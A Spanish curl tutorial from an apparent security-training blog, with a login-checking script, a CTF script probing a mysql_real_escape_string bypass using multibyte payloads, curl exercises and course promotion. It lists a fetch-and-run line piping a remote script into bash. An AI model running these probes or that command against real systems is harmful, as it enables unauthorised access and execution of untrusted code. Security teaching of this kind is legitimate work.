Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
Verifique si el inicio de sesión de un usuario es correcto en un script Bash
El siguiente script se puede utilizar para verificar que un nombre de usuario y un inicio de sesión sean correctos. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Verificará los caracteres de longitud de la respuesta para ver si es una respuesta válida. Deberá ajustar el recuento de caracteres esperado para su aplicación.
#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
echo 'zero'
else
echo 'NOT zero'
fi
Aquí está el guión en acción:
$ ./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
0
NOT zero
Automatizar la creación de usuarios y probar la omisión de mysql_real_escape_string
Está destinado a ser una base para que construya un fuzzer adecuado usando cURL y Bash. Aquí hay un script bash que creé para un CTF para validar una teoría que tenía sobre el uso del método PHP mysql_real_escape_string:
#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " "
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"
echo " "
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt
El comando curl tiene más opciones que puedes explorar
curl –help
También te recomendamos consultar las páginas man:
man curl
Resumen del artículo sobre el comando curl
en Linux
1. ¿Qué es curl
y libcurl
?
- curl: Herramienta para transferir datos a través de protocolos como HTTP, FTP, IMAP, y más, diseñada para operar sin intervención del usuario.
- libcurl: Biblioteca de transferencia de URL utilizada en segundo plano por
curl
para soportar una amplia gama de protocolos y sistemas operativos.
2. Instalación del comando curl
- En la mayoría de sistemas Linux,
curl
viene preinstalado. Si no, puede instalarse con:sudo apt install curl
- Para verificar la instalación:
curl --version
3. Sintaxis básica de curl
- Sintaxis general:
curl [opciones] [URL]
- Ejemplo:
curl https://example.com
4. Opciones principales de curl
- -O y -o: Descarga archivos, ya sea con su nombre original (
-O
) o uno especificado (-o
). - -L: Sigue redirecciones HTTP.
- -I: Muestra solo los encabezados HTTP de una solicitud.
- -d: Envía datos en una solicitud POST.
- -H: Define encabezados HTTP personalizados.
- -b: Maneja cookies en solicitudes.
- -u: Realiza autenticación HTTP básica.
- –data-urlencode: Codifica datos en la URL para solicitudes HTTP POST.
5. Ejemplos prácticos del comando curl
- Solicitudes GET:
curl "https://example.com/api?query=value"
- Solicitudes POST:
curl -d "param1=value1¶m2=value2" -X POST https://example.com/api
- Manejo de cookies:
curl -b cookies.txt -c newcookies.txt https://example.com
- Descarga de archivos:
curl -O https://example.com/file.zip
- Interacción con API:
curl -X GET -H "Authorization: Bearer <token>" https://api.example.com/resource
6. Uso avanzado de curl
para pruebas de seguridad
- Ejecución de scripts remotos:
curl -s "http://example.com/script.sh" | bash
- Fuzzing de servidores web:
- Fuzzing de límites de URI o parámetros POST con
curl
y Bash para pruebas de seguridad.
- Fuzzing de límites de URI o parámetros POST con
- Verificación de autenticación de usuarios:
- Automatización de verificación de inicios de sesión con scripts de
curl
.
- Automatización de verificación de inicios de sesión con scripts de
7. Automatización y scripting con curl
en Bash
- Scripts de Bash para realizar múltiples solicitudes
curl
y explorar datos en un contexto de pruebas de seguridad. - Ejemplos de automatización con loops y condiciones para manejar datos de salida y respuestas de autenticación.
Conclusión
curl
es una herramienta potente y versátil que permite una amplia gama de operaciones de red desde la línea de comandos. Su soporte para múltiples protocolos, junto con su capacidad de integración en scripts Bash, lo hace invaluable en tareas como administración de sistemas, desarrollo web y pruebas de seguridad.
Pon en práctica lo aprendido
Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.
10 Preguntas sobre el comando curl
en Linux:
- ¿Cuál es la función principal del comando
curl
en Linux? - ¿Qué diferencia hay entre los métodos de solicitud HTTP
GET
yPOST
cuando se usacurl
? - ¿Para qué sirve la opción
-o
encurl
? - ¿Cómo se usa
curl
para enviar cookies a un servidor web? - ¿Qué hace la opción
-L
encurl
? - ¿Cómo puedes usar
curl
para descargar múltiples archivos de URLs similares en una sola línea? - ¿Para qué se utiliza
-d
o--data
encurl
? - ¿Cuál es la función de la opción
-I
encurl
? - ¿Cómo puedes obtener solo los encabezados HTTP de una URL usando
curl
? - ¿Qué permite la opción
--cookie-jar
encurl
?
10 Ejercicios basados en el comando curl
:
- Usa
curl
para descargar el contenido de un sitio web y guárdalo en un archivo. - Realiza una solicitud
GET
a una URL usandocurl
y observa el código HTML de la respuesta. - Ejecuta una solicitud
POST
simulando el envío de un formulario encurl
. - Descarga un archivo de una URL específica utilizando
curl
y cámbiale el nombre en la descarga. - Usa
curl
para realizar una solicitudGET
con una variable en la URL (parámetroGET
). - Envía cookies al servidor web usando
curl
. - Realiza una solicitud
POST
para iniciar sesión en un sitio usandocurl
con--data
. - Descarga un archivo de un servidor FTP usando
curl
. - Realiza una solicitud HTTP a una API pública usando
curl
y obtén una respuesta en formato JSON. - Usa
curl
para reanudar la descarga de un archivo que quedó interrumpida.
Respuestas detalladas a las preguntas:
- Función de
curl
:curl
se usa para transferir datos entre un cliente y un servidor, compatible con numerosos protocolos, como HTTP, FTP y SFTP. - Diferencia entre
GET
yPOST
:GET
envía parámetros en la URL y es visible en la barra de direcciones;POST
envía datos en el cuerpo de la solicitud y se usa en formularios y API. - Opción
-o
encurl
: Especifica el archivo donde se guardará el contenido descargadocurl -o archivo.html https://example.com
- Enviar cookies con
curl
: Usa-b
para especificar cookies, como en:curl -b "PHPSESSID=abcd1234" https://example.com
- Opción
-L
encurl
: Permite quecurl
siga redirecciones hasta el destino final de la URL. - Descargar múltiples archivos en una sola línea: Usa
{}
para especificar partes variables en la URL:curl -O https://example.com/file{1..3}.txt
- Función de
-d
o--data
: Envían datos en una solicitudPOST
, simulando el envío de un formulario:curl -d "usuario=admin&clave=1234" https://example.com/login.php
- Opción
-I
encurl
: Solicita solo los encabezados HTTP de la URL:curl -I https://example.com
- Obtener solo encabezados HTTP: Usa
-I
para obtener detalles como estado HTTP y tipo de contenido sin descargar el contenido completo. - Función de
--cookie-jar
: Guarda las cookies generadas en una sesión en un archivo específico para reutilizarlas después.
Respuestas detalladas a los ejercicios:
- Descargar el contenido de un sitio web:
curl -o sitio.html https://example.com
Guarda el código HTML ensitio.html
. - Realizar una solicitud
GET
:curl https://example.com
Muestra el contenido HTML de la URL en la terminal. - Simular el envío de un formulario:
curl --data "nombre=usuario&clave=password" https://example.com/login.php
Envía datos simulando un formulario de inicio de sesión. - Descargar y renombrar un archivo:
curl -o nuevo_nombre.txt https://example.com/archivo.txt
Descarga el archivo y lo guarda comonuevo_nombre.txt
. - Solicitud
GET
con variable en la URL:curl "https://example.com/page.php?id=123"
Realiza la solicitud conid
como parámetroGET
. - Enviar cookies con
curl
:curl -b "nombre=alvaro;edad=30" https://example.com
Envía cookies comonombre
yedad
al servidor. - Solicitud
POST
de inicio de sesión:curl --data "usuario=admin&clave=1234" https://example.com/login.php
UsaPOST
para enviar datos de inicio de sesión. - Descargar un archivo FTP:
curl ftp://usuario:clave@ftp.example.com/archivo.zip -O
Descarga el archivoarchivo.zip
del servidor FTP. - Solicitud HTTP a una API en JSON:
curl -H "Content-Type: application/json" https://api.example.com/data
Realiza la solicitud y obtiene respuesta en JSON. - Reanudar una descarga interrumpida:
curl -C - -O https://example.com/archivo.zip
Continúa descargandoarchivo.zip
desde el punto donde quedó interrumpido.
No te detengas, sigue avanzando
Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…
- Cómo conseguir trabajo de hacker en 2024
- Trabaja remoto e internacionalmente como Hacker en 2024
- Se necesitan más Hackers – Hechos y estadísticas de 2024
- Se Necesitan más Hackers – La escasez de habilidades en ciberseguridad está empeorando
- El salario de un hacker – Cuanto se gana como Pentesters/ Infosec
- Las empresas te estan buscando para hacerle frente a los ciberataques
- Cómo convertirse en analista de ciberseguridad
- Inicia en hacking y ciberseguridad como analista SOC
- DevOps vs DevSecOps para Hackers
- DevOps vs DevSecOps para Empresas
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:
Hacker de 0 a 100 desde las bases hasta conseguir empleo
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/hacker-de-0-a-100-desde-las-bases-hasta-conseguir-empleo/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.
Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.
Este es un mega post. Una guía con más de 250 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).
Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).
El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!
Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.
SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS
- Cómo Iniciarse en Hacking y Ciberseguridad en 2024
- Hacker de 0 a 100 desde las bases hasta conseguir empleo
- Curso de Redes para Hackers
- Curso Gratis de Programación
- Curso Gratis Linux – Capitulo 1 – Introducción a Linux
- Curso Gratis de Redes – Capitulo 1 – Tipos de redes y servicios
- Guía de Hacking y Pentesting capitulo 1: Introducción al Pentesting
- Como iniciarse en TRY HACK ME – Complete Beginner #1
- OSINT #1 Más de 200 Search Tools
- Curso Gratis de Java para Hackers
- Hardware para Hackers – Los mejores 40 Dispositivos de Hacking
- Guía de Flipper Zero – Qué es y para qué sirve
- SIGUE APRENDIENDO GRATIS EN NUESTRO BLOG
Aprende con nuestros más de 100 cursos que tenemos disponibles para vos
Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.
Saludos amigos y happy hacking!!!